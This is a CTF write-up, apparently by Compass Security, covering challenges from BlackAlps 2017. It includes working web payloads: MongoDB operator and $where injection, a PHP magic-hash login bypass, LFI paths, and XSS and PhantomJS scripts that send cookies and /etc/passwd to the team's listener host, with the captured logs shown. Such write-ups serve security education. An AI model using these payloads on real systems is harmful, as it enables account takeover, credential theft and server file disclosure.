The BlackAlps 2017 security conference took place this week in Yverdon-les-Bains: https://www.blackalps.ch. A small delegation of Compass Security was here to present a web application security workshop and also take part in the Y-NOT-CTF. You’ll find below a write-up of the challenges we were able to solve.

Fun : Beautiful Alps

This was probably the easiest challenge, it was a simple hangman game where one had to find mountain names. The instructions only asked to connect on a given IP and port. One had to find 3 correct solutions in a row to earn the flag:

❯❯❯ nc 10.10.30.149 1111
 HANGMAN  []
 _______
|   |  \|
        |
        |
        |
        |
        |
        |
       ---
-------- -----
e
That letter is in the word!

[SNIP]

 HANGMAN  [e, s, a, n, t, i, r, g, u, l, v]
 _______
|   |  \|
    O   |
    |   |
        |
        |
        |
        |
       ---
aiguille verte
YOU WIN ...keep going now

[SNIP]

HANGMAN  [e, s, a, n, t, i, g, r, o, u, h]
 _______
|   |  \|
    O   |
   \|/  |
        |
        |
        |
        |
       ---
gross grunhorn
YOU WIN, Well played !

You are a real mountain expert !

The flag is : YNOT17{ju5t_h4nging_0ut}

Web : Mountain review

This was the first of a group of three web challenges based on the same website, each challenge being harder than the previous one. In this challenge, when clicking the log in link in the menu one was directly redirected to the main page. However, when looking at the HTTP requests in Burp, it appears that the HTTP 302 redirect actually includes the administration’s page content.

In the redirect content we find the following code including the flag:

<!-- Page Content -->
<div class="container">
<hr>
<h2>The admin section is a lie, just like this cake I've heard of... <br /><br />Anyway, here is the cookie you deserved : YNOT17{Wh3n_php_d3s3rve_to_di3}</h2>
<hr>

</div>
<!-- /.container -->

Web : Mountain review: revenge

Second web challenge, this time, a login page was presented and we assumed we had to gain access here. While browsing the site it became apparent that the mountain.php page used to display the information about a specific mountain was using some weird mechanisms. This was apparent when using URLs such as http://mountain2.ynotctf.ch/mountain.php?m=./cervin that displayed the text content but not the picture of the mountain. After loosing a lot of time trying to understand what was going on we figured out that it was possible to use the php://filter handler in this parameter to read the source code of the pages.

Accessing the page http://mountain2.ynotctf.ch/mountain.php?m=php://filter/convert.base64-encode/resource=login would lead to the source code of the login.php page being included in the HTTP response as a base64 blob. The login page contained the following PHP code:

session_start();

include("php/db.php");

if (isset($_POST["user"], $_POST["pass"]) && !empty($_POST["user"]) && !empty($_POST["pass"])) {
  $user = do_login($_POST["user"], $_POST["pass"]);
  if (count($user) === 1) {
    $_SESSION["name"] = $user[0]->name;
    $_SESSION["admin"] = $user[0]->admin;
  }
}

We could then download the code of the php/db.php page and have a look at the do_login() function:

function do_login($name, $password) {
    $mongo = get_mongo();
    $filter = ['name' => $name, 'password' => $password];
    $query = new MongoDB\Driver\Query($filter, []);
    $user = $mongo->executeQuery('ctf_challenge.users', $query);
    return $user->toArray();
}

Seeing the MongoDB query, it was then easy to try some known payloads for MongoDB injection. It turned out that it was possible to login using the following HTTP request. Note the special parameter passed in the POST data:

POST /login.php HTTP/1.1
Host: mountain2.ynotctf.ch
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mountain2.ynotctf.ch/login.php
Cookie: PHPSESSID=nqudp861vh4tlus9a8vba7eq91
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

user=admin&pass[$ne]=1&login=Login

Now that we are logged in we can access the admin.php page and get the flag:

Web: Mountain review: last battle

Last challenge in the serie, the php://filter trick still works and we can see the code of the login page:

session_start();

include("php/db.php");

if (isset($_POST["user"], $_POST["pass"]) && !empty($_POST["user"]) && !empty($_POST["pass"])) {
  $user = get_user($_POST["user"])[0];

  $password_hash = md5($_POST["pass"]);
  if ($user->name === $_POST["user"] && $user->password == substr($password_hash, 0, 16)) {
    $_SESSION["name"] = $user->name;
    $_SESSION["admin"] = $user->admin;
  }
}

We notice that the check on the user’s password is made using a simple equality check, ==, and only on the 16 first characters of the hash. The simple equality check makes it possible to make equalities like 0e1234 == 0. Assuming one of the user has a password hash starting with 0e followed by 14 digits we can impersonate him by using the password BADDEVIL. This is because the MD5 hash of this password is 0e01580058327961d89bb523f015ad19 (this example can easily be found online with a bit of googling).

The only thing left is to find an admin user, this time “admin” is not accepted. Having a look at the db.php page again shows another interesting function used by the userlist.php page:

function get_users($name = null) {
    $mongo = get_mongo();
    $filter = ['admin' => 0];
    if ($name) {
        $filter = ['$where' => "function() { var search = '" . $name . "'; return this.name == search && this.admin == 0; }"] ;
    }
    $query = new MongoDB\Driver\Query($filter, []);
    $users = $mongo->executeQuery('ctf_challenge.users', $query);
    return $users->toArray();
}

Once more, we can exploit the MongoDB query. This time we are looking for the administrative users by requesting the page http://mountain3.ynotctf.ch/userlist.php?u=’;+return+this.admin==1;’ and the page includes the following code:

<ul class="list-group">
<li class="list-group-item">
Fred : fred@mr.com             <span class="badge dark-bg">Admin</span>
</li>
</ul>

In the end we can login using the username “Fred” and the password “BADDEVIL” to get the flag:

WEB / Stegano : JFK

This one was based on web issues in multiple steps and finished on a picture with some steganography. The first step was to see a comment in the source code of some pages:

<!-- TO DO : remove temporary folder <topsecret> + delete <secretnote.txt>-->

The access to this folder and file was forbidden however and we had to use a local file inclusion to access the content of this note. This was done by accessing the page http://jfk.ynotctf.ch/index.php?page=../topsecret/secretnote.txt to get the secret note:

NOTE : The secret document lays in <$up3r$3cr3tf0ld3rN0oN3w!ll3v3rF!ND> folder but keep it secret ! The boss think everything is secured !!!! I had to temporary store the file there in a hurry in order to respect the deadline. I'll patch this ASAP!

Now accessing the secret folder in the browser we get two files, infos.txt and jfk.jpg. Here is the content of infos.txt:

Well done on the LFI !
Hints for the next step : 
The secret information laying in the document is heavily secured with a multilayer FBI-Made security protocol !
Only one agent possess the informations that will allow you to find the truth about Kennedy's case.
Try to get more informations messaging him through the contact form located at /contact.php !

The picture file however, was not readable and even though it was named as a JPG the content was not a picture file. We had some problem guessing the next step but it turned out that the picture was encoded using a simple XOR cipher with an easy key, Jfk63, that could be brute forced. The picture was then viewable as a JPG but no flag was directly embedded. One more step was required with the contact form. We guessed that XSS would be possible in the backend and indeed, a quick try with Burp collaborator confirmed this. Then it was easy to submit the following script in the contact form:

<script>
document.write('<iframe src="http://10.10.192.203/pwn?data='+document.cookie+'"></iframe>');
</script>

A simple python server was run on the local machine and the cookie of the administrator was sent there:

❯❯❯ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.30.158 - - [16/Nov/2017 18:32:58] code 404, message File not found
10.10.30.158 - - [16/Nov/2017 18:32:58] "GET /pwn?data=secret=WW5vdEpGSzJrMTch HTTP/1.1" 404 -

Accessing the image.php page with this cookie revealed the next hint:

Image hide passphrase: 1l0v3m0n1c4

In the end, data could be extracted from the picture using steghide and the passphrase to get the flag file:

❯❯❯ steghide extract -sf result.jpg
Enter passphrase: 
wrote extracted data to "flag.txt".

Final result and bonus

We solved one more challenge (easy pwn) and ended in the 6th place.

As a small bonus, we discovered during the CTF that the contact form of the JFK challenge was using PhantomJS in the backend. Having seen a recent article exploiting this library to perform an arbitrary file read on the server, it was not hard to retrieve the used payload from https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ and extract the /etc/passwd file from the CTF virtual machine. To do this, the following had to be submitted in the contact form:

function reqListener () {
    var encoded = encodeURI(this.responseText);
    var b64 = btoa(this.responseText);
    var raw = this.responseText;
    document.write('<iframe src="http://10.10.192.203/pwn?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

And the result on the local machine was as follows:

❯❯❯ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.30.158 - - [16/Nov/2017 18:07:05] "GET /script.js HTTP/1.1" 200 -
10.10.30.158 - - [16/Nov/2017 18:07:05] code 404, message File not found
10.10.30.158 - - [16/Nov/2017 18:07:05] "GET /pwn?data=cm9vdDp4OjA6MDpyb290Oi9yb29[CUT BY COMPASS]== HTTP/1.1" 404 -

And this can then be decoded, earning us a free beer from the CTF organizers :-)